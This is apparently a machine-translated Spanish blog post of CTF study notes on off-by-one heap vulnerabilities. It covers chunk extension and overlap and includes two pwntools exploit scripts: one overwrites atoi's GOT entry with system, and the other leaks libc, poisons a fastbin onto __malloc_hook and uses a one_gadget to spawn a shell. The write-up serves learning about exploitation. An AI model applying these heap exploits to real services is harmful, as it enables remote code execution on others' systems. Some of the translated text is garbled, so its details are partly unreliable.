Mi informacion de contacto
Correo[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
La base de pwn aún es muy superficial. Solo registro parte de mi experiencia de aprendizaje.
A medida que avance el estudio, se agregarán puntos de conocimiento y preguntas adicionales.
Resumen de aprendizaje sobre off por null |
Extensión y superposición de fragmentos | ctfwiki
Estrechamente relacionado con el off-by-one está el Chunk Extend y Overlapping mencionado anteriormente.
A esto se le suele denominar "bloques superpuestos".
¿Por qué crear bloques superpuestos?
Por ejemplo, si queremos reescribir el campo de encabezado de un fragmento, es decir, los segmentos prev_size y size, definitivamente no podremos cambiarlo aplicándolo directamente.
Una idea es construir un fragmento falso fuera de lugar. Otra idea más simple es crear fragmentos superpuestos. Al modificar el tamaño del bit, la parte de datos de usuario de un fragmento grande incluye el encabezado de la parte pequeña que queremos modificar.
Creo que esta pregunta es un buen ejemplo de cómo utilizar uno por uno. Las preguntas no son muy difíciles y los puntos de uso son bastante inteligentes.
Descompilar para encontrar lagunas,
Aquí hay un desfase artificial por uno, y aquí se puede escribir un byte más.
Volviendo a la asignación de temas,
Primero, se asigna un fragmento de tamaño 0x10 para almacenar cierta información y luego se asigna un fragmento para el contenido.
Quedará muy claro si observa la depuración de gdb aquí.
Por ejemplo, el diseño del bloque del montón después de agregar(0x28,'0'),add(0x10,'1')
Puede ver que cada vez que agregamos, primero asignaremos un fragmento que almacena información del bloque del montón en una dirección baja y luego asignamos un fragmento que almacena contenido.
Luego me di cuenta de que las operaciones de edición y visualización se realizan a través deInformación del bloque del montónestructura para "indexar", luego, si queremos filtrar libc, podemos poner la información del bloque de montón de este fragmento *content
El campo se modifica a la dirección de la tabla obtenida de una determinada función. Por ejemplo, si se usa atoi en esta pregunta, entonces atoi_addr se imprimirá durante la presentación.
Esto implica una situación similar a la anterior "Pequeña comprensión". No podemos modificar directamente el contenido del fragmento que "almacena la información del bloque del montón", por lo que podemos usar off-by-one de manera más inteligente para implementar la extensión del bloque del montón. .
Por ejemplo, si lo modificamos así, en realidad puede causar la expansión y superposición de los bloques del montón.
Hablemos de la utilización específica a continuación.
Tanto el bloque del montón de información como el bloque del montón de contenido serán gratuitos, por lo que en este momento hay dos contenedores de tamaño de 0x20 y 0x40 en fastbins.
Por supuesto, hay algunos detalles, como la última selección de tamaño mencionada de 0x18 y 0x28, y la necesidad de reservar el contenido de la pila de información al modificarla.tamañocampos (de lo contrario, la edición final no tendrá la longitud necesaria para escribirla), etc.
Exp:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
En realidad, hay otro punto clave en esta pregunta, y también era el punto que me confundió al principio. La adición inicial de chunk0 de EXP de Master ZIKH es 0x18. En mi propia práctica, cambiarlo a 0x10 o 0x20 no funcionó, pero cambiarlo a 0x28 funcionó.
La depuración encontró que cuando se cambia a 0x10, 0x20, nuestros datos de usuario no habilitarán el siguiente fragmento.tamaño anteriorde.
Al asignar 0x18, 0x28, etc., el mecanismo ptmalloc2 reutilizará el segmento prev_size de next_chunk.
Emmm, de hecho, en última instancia, todavía no estoy lo suficientemente familiarizado con el montón. Después de todo, con solo mirar la explicación de la wiki, hay tantos puntos de conocimiento y los detalles son complicados, lo que hace que sea difícil de recordar. Por supuesto, lo he encontrado en combates reales. Será mucho mejor después de depurarlo yo mismo y comprenderlo nuevamente.
El error de la pregunta está aquí.
Cuando a2-a1==10 está en el if, es decir, cuando el tamaño ingresado por edición es exactamente 10 más grande que el tamaño agregado, hay un apagado por uno.
Estructura de asignación aproximada
O use el segmento bss para almacenar el inuse y el inuse del fragmento.*content
Todavía podemos usar off-by-one combinado con las características de tamaño 0x?8, reutilizar prev_size para falsificar prev_size y size para activar la fusión directa (dirección baja)
En este momento, puede ver que la fusión se activa mediante free (2).
En este momento, si sumamos (0x80) y luego mostramos (1), podemos imprimir el valor de main_arena+88.
Según tengo entendido, el add(0x80) aquí es para dividir el bin no clasificado, de modo que el puntero fd (main_arena+88) se mueva al segmento chunk1 que se puede mostrar.
En este punto, se filtra la dirección base de libc.
Parece que las siguientes operaciones implican muchos bloques de montón superpuestos, así que echemos un vistazo a la depuración paso a paso.
Diseño del montón cuando se filtra libc
add(0x68)
(Corte un trozo del contenedor sin clasificar)
free(1)
(contenedor rápido 0x70)
edit(2,p64(malloc_hook-0x23))
(Aquí aprovechamos el hecho de que el fragmento 2 de 0x68 solicitado en el paso anterior se superpone con el fragmento 1 que se acaba de liberar (el fragmento 1 se solicitó al principio))
add(0x68)
(Solicitando trozo1, en realidad es trozo2)
add(0x68)
(Solicite devolver el fake_chunk en malloc_hook-0x23)
Luego, debe usar realloc para ajustar el marco de la pila y podrá obtener el shell.
Entonces puedo comunicarme localmente, pero no de forma remota.
Después de ver la Exp del Maestro ZIKH, necesito usar el local
realloc = libcbase + libc.sym['realloc']
Cambiar arealloc = libcbase + 0x846c0
Entonces tienes que cambiar el valor de one_gadget.
Estos dos one_gadgets tienen un desplazamiento. No sé por qué en este momento. ¿Quizás tenga algo que ver con el ajuste del marco de la pila? (Aprenda más tarde)
Juega Exp local:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
local:
De forma remota:
En resumen, es difícil.